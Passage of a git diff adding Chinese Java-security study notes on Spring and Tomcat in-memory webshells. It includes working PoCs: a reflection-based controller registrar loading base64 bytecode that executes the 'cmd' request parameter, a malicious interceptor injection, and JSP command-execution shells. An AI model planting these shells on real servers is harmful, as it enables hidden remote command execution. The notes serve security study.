`@RequestMapping` 的使用。 +- **@RequestParam**:用于绑定请求参数到方法的参数。 +- **@PathVariable**:将 URL 中的路径参数绑定到方法参数。 +- **@ModelAttribute**:用于将表单数据绑定到模型对象,或在控制器方法执行之前预先填充模型。 +- **@RequestBody**:将请求体中的 JSON 数据转换为 Java 对象。 +- **@ResponseBody**:将方法的返回值作为 HTTP 响应体返回,而不是跳转到页面。 +- **@RestController**:组合注解,等同于 `@Controller` 和 `@ResponseBody`,用于构建 RESTful API。 +- **@ExceptionHandler**:用于处理控制器中的异常。 + +### **Spring Boot** + +Spring Boot 是基于 Spring 框架的快速开发框架,简化了配置,提供开箱即用的开发体验。 + +- **Auto Configuration(自动配置)**:Spring Boot 的核心特性,自动配置常用组件,如数据库、MVC、消息队列等,避免繁琐的 XML 配置。 +- **Starter**:Spring Boot 提供各种 Starter 依赖(如 `spring-boot-starter-web`、`spring-boot-starter-data-jpa`),可以轻松集成常见的功能模块。 +- **Embedded Server(嵌入式服务器)**:Spring Boot 提供了嵌入式服务器(如 Tomcat、Jetty),开发时无需手动部署到外部服务器。 +- **SpringApplication**:启动 Spring Boot 应用的入口类,常见于 `main` 方法中调用 `SpringApplication.run()` 来启动应用。 +- **Actuator**:用于监控和管理 Spring Boot 应用的模块,提供诸如健康检查、性能指标、应用信息等接口。 +- **CommandLineRunner & ApplicationRunner**:提供在 Spring Boot 应用启动后执行的逻辑,常用于初始化工作。 + +#### SpringBoot 常用注解 + +- **@SpringBootApplication**:组合注解,等同于 `@Configuration`、`@EnableAutoConfiguration` 和 `@ComponentScan`。用于标注启动类,开启自动配置和组件扫描。 +- **@EnableAutoConfiguration**:让 Spring Boot 根据依赖自动配置 Spring 应用上下文。 +- **@Configuration**:定义配置类,等同于 XML 中的 `` 配置。 +- **@Bean**:定义一个 Bean,方法返回值会被注册到 Spring 容器中。 +- **@Conditional**:根据条件(如类存在、环境变量等)来决定是否创建某个 Bean。 +- **@EnableConfigurationProperties**:启用配置属性,通常与 `@ConfigurationProperties` 配合使用。 +- **@ConfigurationProperties**:用于将配置文件(如 `application.properties`)中的属性映射到类上。 +- **@RestController**:用于创建 RESTful API,自动将返回值作为响应体返回。 +- **@SpringBootTest**:用于 Spring Boot 项目中的测试,加载整个应用程序的上下文。 + +### 常用的 Context + +- **ApplicationContext**:Spring 的核心接口,提供 Bean 的管理、依赖注入、生命周期管理等功能。常用的实现类包括: + - **ClassPathXmlApplicationContext**:基于类路径下的 XML 文件进行配置。 + - **AnnotationConfigApplicationContext**:基于 Java 注解进行配置。 + - **WebApplicationContext**:专门为 Web 应用设计的上下文,Spring MVC 项目中通常会用到。 +- **ServletContext**:代表整个 Web 应用程序的上下文,生命周期由 Web 容器管理,Spring 会与其整合以提供更多服务。 + +### 特点总结 + +- **Spring**:提供 IoC 和 AOP 的功能,核心是解耦组件,管理 Bean 的生命周期,提供事务管理等。 +- **Spring MVC**:专注于 Web 层,处理 HTTP 请求和响应,遵循 MVC 模式,便于构建 Web 应用程序。 +- **Spring Boot**:提供自动化配置,简化了 Spring 应用的配置过程,尤其适合快速开发和微服务架构。 + +## Spring 内存马 + +### 依赖导入 + +Spring 的 Controller 型和 Interceptor 型内存马都需要 SpringMVC 的依赖: + +``` + + org.springframework + spring-webmvc + 5.2.10.RELEASE + +``` + +### Controller 型 + +#### Controller 注册流程 + +SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。 + +RequestMappingHandlerMapping 的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法: + +![](https://changeyourway.github.io/images/image-20241010154859940.png) + +其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法调用了 initHandlerMethods 方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean 方法处理 Bean: + +![](https://changeyourway.github.io/images/image-20241010155045643.png) + +processCandidateBean 方法获取指定 bean 的类型,如果标识为处理程序类型(Handler),则调用 detectHandlerMethods 方法处理: + +![](https://changeyourway.github.io/images/image-20241010155311363.png) + +而在实现类 RequestMappingHandlerMapping 中,isHandler 方法用来判断当前类是否带有 @Controller 或 @RequestMapping 注解: + +![](https://changeyourway.github.io/images/image-20241010155728069.png) + +detectHandlerMethods(Object handler) 方法的主要作用是从指定的处理器(通常是一个控制器类)中检测所有的处理方法,并注册这些方法,以便 HandlerMapping 之后能够根据请求找到合适的处理方法: + +![](https://changeyourway.github.io/images/image-20241010160939361.png) + +第一步获取了指定类的 Class 对象 + +接着使用 MethodIntrospector.selectMethods() 通过反射扫描类中的所有方法,过滤出有请求映射的处理方法。 + +用 getMappingForMethod 为每个方法获取其请求映射信息(例如 `@RequestMapping` 注解中定义的 URL、HTTP 方法、请求参数等)。 + +最后通过 registerHandlerMethod() 将这些方法(method)与其对应的请求映射(mapping)注册到 SpringMVC 的处理机制中。 + +在实现类 RequestMappingHandlerMapping 中,getMappingForMethod 方法会返回一个 RequestMappingInfo 对象,这个对象包含了 RequestMapping 的基本信息: + +![](https://changeyourway.github.io/images/image-20241010164118392.png) + +而 registerHandlerMethod() 方法是调用了内部类 MappingRegistry 的 register 方法: + +![](https://changeyourway.github.io/images/image-20241012150117098.png) + +跟进这个 register 方法,其实就是完成了一些数据的封装、属性的赋值:![](https://changeyourway.github.io/images/image-20241010165409596.png) + +主要有这些属性: + +![](https://changeyourway.github.io/images/image-20241010165537542.png) + +以上就是 Controller 的注册流程。总结一下: + +接口 InitializingBean#afterPropertiesSet() 用来实现 bean 的初始化,RequestMappingHandlerMapping 是它的实现类 + +``` +RequestMappingHandlerMapping#afterPropertiesSet() +AbstractHandlerMethodMapping#afterPropertiesSet() +AbstractHandlerMethodMapping#initHandlerMethods() +AbstractHandlerMethodMapping#processCandidateBean(String) + -> RequestMappingHandlerMapping#isHandler(Class) # 判断当前类是否带有 @Controller 或 @RequestMapping 注解 + -> AbstractHandlerMethodMapping#detectHandlerMethods(Object) + -> RequestMappingHandlerMapping#getMappingForMethod(Method, Class) # 获取注解相关信息 + -> AbstractHandlerMethodMapping#registerHandlerMethod(Object, Method, T) + AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method) # 注册注解相关信息 +``` + +#### Controller 查找原理 + +当发送一次请求,SpringMVC 是如何去查找到对应的 Controller 来处理的呢? + +在 SpringMVC 的请求流程中,DispatcherServlet 收到请求后会通过 HandlerMapping 查找与请求路径匹配的处理器 Handler,然后交给 Handler 处理,这个 Handler 通常是一个 Controller : + +![](https://changeyourway.github.io/images/spring-springframework-mvc-5-17287184310562.png) + +我们重点关注 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法,而在那之前的调用逻辑如下: + +![](https://changeyourway.github.io/images/image-20241013233334025.png) + +前面有一部分是 Tomcat 的逻辑,我们仅关注 DispatcherServlet 之后的部分。 + +AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法做了以下几件事: + +1. 它首先从 `mappingRegistry` 中尝试获取直接匹配 `lookupPath` 的方法映射。 +2. 如果找到,调用 `addMatchingMappings` 方法,将匹配项添加到 `matches` 列表中。 +3. 如果没有找到直接匹配项,继续遍历所有映射,寻找可能的匹配。 +4. 如果找到多个匹配项,会根据自定义比较器对匹配项进行排序,并选择最佳匹配。 +5. 如果请求为预检请求(CORS 请求),则返回预检处理结果。 +6. 如果匹配项存在冲突(多个方法同等匹配),会抛出异常。 +7. 最终,将最佳匹配的处理方法返回,并在请求中设置该匹配的处理方法;如果没有匹配项,调用 `handleNoMatch` 处理无匹配的情况。 + +``` +@Nullable +protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception { + List matches = new ArrayList<>(); + + // 1. 从映射注册表中获取与 lookupPath 直接匹配的映射(如果存在) + List directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath); + if (directPathMatches != null) { + // 2. 如果找到了直接匹配的映射,尝试将这些映射添加到匹配列表中 + addMatchingMappings(directPathMatches, matches, request); + } + + // 3. 如果没有找到直接匹配的映射,则需要遍历所有映射,尝试找到匹配项 + if (matches.isEmpty()) { + addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request); + } + + // 4. 如果找到至少一个匹配项 + if (!matches.isEmpty()) { + Match bestMatch = matches.get(0); + + // 5. 如果找到多个匹配项,使用比较器对匹配项进行排序,并选择最佳匹配 + if (matches.size() > 1) { + Comparator comparator = new MatchComparator(getMappingComparator(request)); + matches.sort(comparator); + bestMatch = matches.get(0); + + if (logger.isTraceEnabled()) { + logger.trace(matches.size() + " matching mappings: " + matches); + } + + // 6. 如果请求是 CORS 预检请求,返回预检处理结果 + if (CorsUtils.isPreFlightRequest(request)) { + return PREFLIGHT_AMBIGUOUS_MATCH; + } + + // 7. 检查是否有多个完全相同的最佳匹配项,如果有则抛出异常 + Match secondBestMatch = matches.get(1); + if (comparator.compare(bestMatch, secondBestMatch) == 0) { + Method m1 = bestMatch.handlerMethod.getMethod(); + Method m2 = secondBestMatch.handlerMethod.getMethod(); + String uri = request.getRequestURI(); + throw new IllegalStateException( + "Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}"); + } + } + + // 8. 设置最佳匹配项并处理匹配 + request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod); + handleMatch(bestMatch.mapping, lookupPath, request); + + // 9. 返回最佳匹配的处理方法 + return bestMatch.handlerMethod; + } else { + // 10. 如果没有找到匹配项,调用 handleNoMatch 方法处理 + return handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request); + } +} +``` + +成功找到了请求路径对应的 Controller 之后,就会去调用它,调用逻辑如下,就不具体分析了: + +![](https://changeyourway.github.io/images/image-20241013235824686.png) + +#### Controller 动态注册 + +其实就是调用 AbstractHandlerMethodMapping 内部类 MappingRegistry#register(T, Object, Method) 方法来将 Controller 相关的信息注册进去。 + +可以调试起来看执行到这个方法时它的参数是什么,而我们要做的就是模仿。 + +AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method): + +![](https://changeyourway.github.io/images/image-20241014001001239.png) + +#### POC + +我在 su18 师傅代码的基础上做了些修改: + +``` +package controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; +import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; +import org.springframework.web.servlet.mvc.method.RequestMappingInfo; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; +import org.springframework.web.servlet.support.RequestContextUtils; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Base64; +import java.util.Map; + +/** + * 访问此接口动态添加 controller + * + * @author su18 + */ +@Controller +@RequestMapping(value = "/add") +public class AddController { + public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQAYwoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAA2NtZAsAEAARBwASDAATABQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsKAAgAFgwAFwAYAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAGgAbBwAcDAAdAB4BABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHACABABFqYXZhL3V0aWwvU2Nhbm5lcgoAHwAiDAAFACMBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYIACUBAAJcQQoAHwAnDAAoACkBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsKAB8AKwwALAAtAQAHaGFzTmV4dAEAAygpWgoAHwAvDAAwADEBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsIADMBAAALADUANgcANwwAOAA5AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwoAOwA8BwA9DAA+AD8BABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYHAEEBABljb250cm9sbGVyL1Rlc3RDb250cm9sbGVyAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMY29udHJvbGxlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAFUBABNqYXZhL2lvL0lucHV0U3RyZWFtBwBXAQAQamF2YS9sYW5nL1N0cmluZwEACkV4Y2VwdGlvbnMHAFoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEANExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vR2V0TWFwcGluZzsBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAFL3N1MTgAIQBAAAIAAAAAAAIAAQAFAAYAAQBCAAAALwABAAEAAAAFKrcAAbEAAAACAEMAAAAGAAEAAAAOAEQAAAAMAAEAAAAFAEUARgAAAAEARwBIAAMAQgAAAMIAAwAGAAAAQbgABysSDbkADwIAtgAVtgAZTrsAH1kttwAhEiS2ACY6BBkEtgAqmQALGQS2AC6nAAUSMjoFLLkANAEAGQW2ADqxAAAAAwBDAAAAFgAFAAAAEQASABIAIQATADUAFABAABUARAAAAD4ABgAAAEEARQBGAAAAAABBAEkASgABAAAAQQBLAEwAAgASAC8ATQBOAAMAIQAgAE8AUAAEADUADABRAFIABQBTAAAADwAC/QAxBwBUBwAfQQcAVgBYAAAABAABAFkAWwAAAAYAAQBcAAAAAgBdAAAAAgBeAFsAAAASAAIAXwAAAGAAAQBhWwABcwBi"; + + public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + byte[] bytes = Base64.getDecoder().decode(classCode); + + Method method = null; + Class clz = loader.getClass(); + while (method == null && clz != Object.class) { + try { + method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + } catch (NoSuchMethodException ex) { + clz = clz.getSuperclass(); + } + } + + if (method != null) { + method.setAccessible(true); + return (Class) method.invoke(loader, bytes, 0, bytes.length); + } + + return null; + + } + + @GetMapping() + public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { + + final String controllerPath = "/su18"; + + // 获取当前应用上下文 + WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + + // 通过 context 获取 RequestMappingHandlerMapping 对象 + RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); + + // 获取父类的 MappingRegistry 属性 + Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); + f.setAccessible(true); + Object mappingRegistry = f.get(mapping); + + // 反射调用 MappingRegistry 的 register 方法 + Class c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); + + Method[] ms = c.getDeclaredMethods(); + + // 判断当前路径是否已经添加 + Field field = c.getDeclaredField("urlLookup"); + field.setAccessible(true); + + Map urlLookup = (Map) field.get(mappingRegistry); + for (String urlPath : urlLookup.keySet()) { + if (controllerPath.equals(urlPath)) { + response.getWriter().println("controller url path exist already"); + return; + } + } + + // 初始化一些注册需要的信息 + PatternsRequestCondition url = new PatternsRequestCondition(controllerPath); + RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); + RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null); + + Class myClass = this.getClass(CONTROLLER_CLASS_STRING); + + for (Method method : ms) { + if ("register".equals(method.getName())) { + // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index + method.setAccessible(true); + method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]); + response.getWriter().println("spring controller add"); + } + } + } +} +``` + +其中字符串 CONTROLLER\_CLASS\_STRING 所记录的字节码内容如下: + +``` +package controller; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import java.io.InputStream; +import java.util.Scanner; + +@Controller +@RequestMapping({"/su18"}) +public class TestController { + @GetMapping + public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { + InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); + Scanner s = new Scanner(in).useDelimiter("\\A"); + String output = s.hasNext() ? s.next() : ""; + response.getWriter().write(output); + } +} +``` + +### Interceptor 型 + +#### Interceptor 拦截器概念 + +拦截器(Interceptor)是一种动态拦截方法调用的机制,在 SpringMVC 中动态拦截控制器(Controller)方法的执行。 + +- 作用: + - 在指定的方法调用前后执行预先设定的代码 + - 阻止原始方法的执行 + - 总结:拦截器就是用来做增强 + +为了将拦截器(Interceptor)与过滤器(Filter) 做区分,我们来了解一下 Tomcat 是如何处理请求的: + +![](https://changeyourway.github.io/images/1630676280170.png) + +(1) 浏览器发送一个请求会先到 Tomcat 的 web 服务器. + +(2) Tomcat 服务器接收到请求以后,会去判断请求的是静态资源还是动态资源。 + +(3) 如果是静态资源,会直接到 Tomcat 的项目部署目录下去直接访问。 + +(4) 如果是动态资源,就需要交给项目的后台代码进行处理。 + +(5) 在找到具体的方法之前,我们可以去配置过滤器 Filter(可以配置多个),按照顺序进行执行。 + +(6) 然后进入到到中央处理器(DispatcherServlet),SpringMVC 会根据配置的规则进行拦截。 + +(7) 如果满足规则,则进行处理,找到其对应的 Controller 类中的方法进行执行,完成后返回结果;如果不满足规则,则不进行处理。 + +(8) 拦截器的作用就是在每个 Controller 方法执行的前后添加业务。 + +由此可以看出,拦截器和过滤器之间的区别: + +- 归属不同:Filter 属于 Servlet 技术,Interceptor 属于 SpringMVC 技术 +- 作用范围不同:Filter 对所有访问进行增强,Interceptor 仅针对 SpringMVC 的访问进行增强 + +![](https://changeyourway.github.io/images/1630676903190.png) + +那么如何手动编写一个 Interceptor 呢? + +**步骤 1 :创建拦截器类** + +一个标准的拦截器类应该实现 HandlerInterceptor 接口,重写接口中的 preHandle 、postHandle 、afterCompletion 三个方法: + +``` +@Component +//定义拦截器类,实现HandlerInterceptor接口 +//注意当前类必须受Spring容器控制 +public class ProjectInterceptor implements HandlerInterceptor { + @Override + //原始方法调用前执行的内容 + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + System.out.println("preHandle..."); + return true; + } + + @Override + //原始方法调用后执行的内容,如果控制器抛出未处理的异常,则不会被调用 + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + System.out.println("postHandle..."); + } + + @Override + //原始方法调用完成后执行的内容,无论控制器是否抛出异常,都会被调用 + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + System.out.println("afterCompletion..."); + } +} +``` + +**步骤 2 :配置拦截器类** + +``` +@Configuration +public class SpringMvcSupport extends WebMvcConfigurationSupport { + @Autowired + private ProjectInterceptor projectInterceptor; + + @Override + protected void addResourceHandlers(ResourceHandlerRegistry registry) { + registry.addResourceHandler("/pages/**").addResourceLocations("/pages/"); + } + + @Override + protected void addInterceptors(InterceptorRegistry registry) { + //配置拦截器 + registry.addInterceptor(projectInterceptor).addPathPatterns("/**"); + } +} +``` + +**步骤 3 :SpringMVC 添加 SpringMvcSupport 包扫描** + +``` +@Configuration +@ComponentScan({"controller", "Interceptor"}) +@EnableWebMvc +public class SpringMvcConfig{ +} +``` + +这样一个 Interceptor 就创建完了。 + +#### Interceptor 调用流程 + +- Spring MVC 使用 DispatcherServlet 的 `doDispatch` 方法进入自己的处理逻辑; +- 通过 `getHandler` 方法,循环遍历 `handlerMappings` 属性,匹配获取本次请求的 HandlerMapping; +- 通过 HandlerMapping (实际上是其实现类 AbstractHandlerMapping)的 `getHandler` 方法,遍历 `this.adaptedInterceptors` 中的所有 HandlerInterceptor 类实例,加入到 HandlerExecutionChain 的 interceptorList 中; +- 调用 HandlerExecutionChain 的 applyPreHandle 方法,遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑。 + +这里我就不放代码了,直接梳理一下调用链: + +``` +DispatcherServlet#doDispatch(HttpServletRequest, HttpServletResponse) + -> DispatcherServlet#getHandler(HttpServletRequest) + AbstractHandlerMapping#getHandler(HttpServletRequest) + AbstractHandlerMapping#getHandlerExecutionChain(Object, HttpServletRequest) # 遍历 this.adaptedInterceptors,调用 HandlerExecutionChain.addInterceptor 将 HandlerInterceptor 实例加入到 HandlerExecutionChain 的 interceptorList 中 + -> HandlerExecutionChain#applyPreHandle(HttpServletRequest, HttpServletResponse) # 遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑 +``` + +#### POC + +只需要将 Interceptor 加入到 AbstractHandlerMapping.adaptedInterceptors 中即可: + +``` +package controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.HandlerInterceptor; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; +import org.springframework.web.servlet.support.RequestContextUtils; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +@Controller +public class AddInterceptor { + + @ResponseBody + @RequestMapping("/add2") + public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + + //获取上下文环境 + WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + + //获取adaptedInterceptors属性值 + org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); + java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping); + + + //将恶意Interceptor添加入adaptedInterceptors + TestInterceptor testInterceptor = new TestInterceptor(); + adaptedInterceptors.add(testInterceptor); + } + + public class TestInterceptor implements HandlerInterceptor{ + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + String cmd = request.getParameter("cmd"); + if (cmd != null) { + try { + Runtime.getRuntime().exec(cmd); + } catch (IOException e) { + e.printStackTrace(); + } catch (NullPointerException n) { + n.printStackTrace(); + } + return true; + } + return false; + } + } +} +``` + +寻常办法是无法回显的。 + +## 参考文章 + +[JavaWeb 内存马基础](https://www.javasec.org/javaweb/MemoryShell/#spring-controller-%E5%86%85%E5%AD%98%E9%A9%AC) + +[SpringMVC 源码之 Controller 查找原理](https://www.cnblogs.com/w-y-c-m/p/8416630.html) + +[Java 安全学习 —— 内存马](https://goodapple.top/archives/1355) diff --git a/books/漏洞篇 - Tomcat 内存马.md b/books/漏洞篇 - Tomcat 内存马.md new file mode 100644 index 0000000..a6199f0 --- /dev/null +++ b/books/漏洞篇 - Tomcat 内存马.md @@ -0,0 +1,934 @@ +# 漏洞篇 - Tomcat 内存马 +> 2024-09-26 +> 来源:https://changeyourway.github.io/2024/09/26/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Tomcat%E5%86%85%E5%AD%98%E9%A9%AC/ + +## Servlet 动态注册机制 + +Servlet API 提供了动态注册机制,允许在运行时动态注册 Servlets、Filters 和 Listeners,而不需要通过 `web.xml` 文件或者注解进行静态配置。这种机制从 Servlet 3.0 开始引入,提供了更灵活的方式来配置 Web 应用组件,特别是对于基于注解和自动配置的现代 Web 应用非常有用。 + +在 ServletContext 类中提供了一系列 addServlet、addFilter、addListener 方法来提供动态注册功能。 + +## 内存马初探 + +学习内存马需要先掌握 JavaWeb ,尤其是三大组件(Servlet、Filter、Listener)和 jsp 的知识。这部分因为我已经学过了,我就不再写博客来说明了。 + +此外建议看完前一篇文章 Tomcat 架构再来哦~ + +那么先来展示一个简单的内存马: + +``` +<% + Runtime.getRuntime().exec(request.getParameter("cmd")); +%> +``` + +用 jsp 写的,获取参数为 cmd 的值并执行,但是无回显。 + +接下来改一个有回显的内存马: + +``` +<% + if(request.getParameter("cmd")!=null){ + java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); + int a = -1; + byte[] b = new byte[2048]; + out.print("
");
+        while((a=in.read(b))!=-1){
+            out.print(new String(b));
+        }
+        out.print("
"); + } +%> +``` + +将执行结果的输出流的每一个字节都打印在 web 页面上,`
` 标签在 HTML 中表示预格式化文本,即其中的内容会按原样显示,保留空格、换行和其他格式。
+
+简单测试一下这个有回显的马:
+
+![](https://changeyourway.github.io/images/image-20240920104950670.png)
+
+内存马又称无文件马,但是上面的 jsp 后门跟普通的马差不多嘛,还是有文件的,如何才能展示出它的无文件特性呢?且看接下来介绍的几种内存马。
+
+## Tomcat Filter 内存马
+
+说到 Filter ,就一定会提到 Filter 链,Filter 链的执行逻辑如下:
+
+![](https://changeyourway.github.io/images/image-20240921104042204.png)
+
+### 源码调试
+
+环境:
+
+-   JDK 17
+    
+-   Tomcat 8.5.68
+    
+
+那么现在有两个 Filter :Filter1 和 Filter2 ,除了名字以外都一样,采用注解配置的方式,默认按照过滤器类名(字符串)自然排序,也就是说会先执行 Filter1 ,再执行 Filter2 。
+
+Filter1 代码如下:
+
+```
+package filter;
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import java.io.IOException;
+
+@WebFilter("/demo1")
+public class Filter1 implements Filter {
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        System.out.println("Filter1 放行前...");
+        filterChain.doFilter(servletRequest, servletResponse);
+        System.out.println("Filter1 放行后...");
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
+```
+
+Servlet 代码如下:
+
+```
+package servlet;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+@WebServlet("/demo1")
+public class ServletDemo extends HttpServlet {
+    @Override
+    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        System.out.println("get...");
+    }
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        System.out.println("post...");
+    }
+}
+```
+
+确保运行时,访问 /demo1 能够输出如下结果:
+
+![](https://changeyourway.github.io/images/image-20240921112535052.png)
+
+#### Filter 链的调用
+
+在 Filter1 的 doFilter 处下断点,开始调试:
+
+![](https://changeyourway.github.io/images/image-20240921112759071.png)
+
+发现下一步没法跟进了,需要的类在 org.apache.catalina.core 包中:
+
+![](https://changeyourway.github.io/images/image-20240921112736451.png)
+
+需要导入依赖:
+
+```
+  
+  
+	org.apache.tomcat  
+	tomcat-catalina  
+	8.5.68  
+	provided  
+
+```
+
+重新调试,跟进 ApplicationFilterChain#doFilter(ServletRequest, ServletResponse):
+
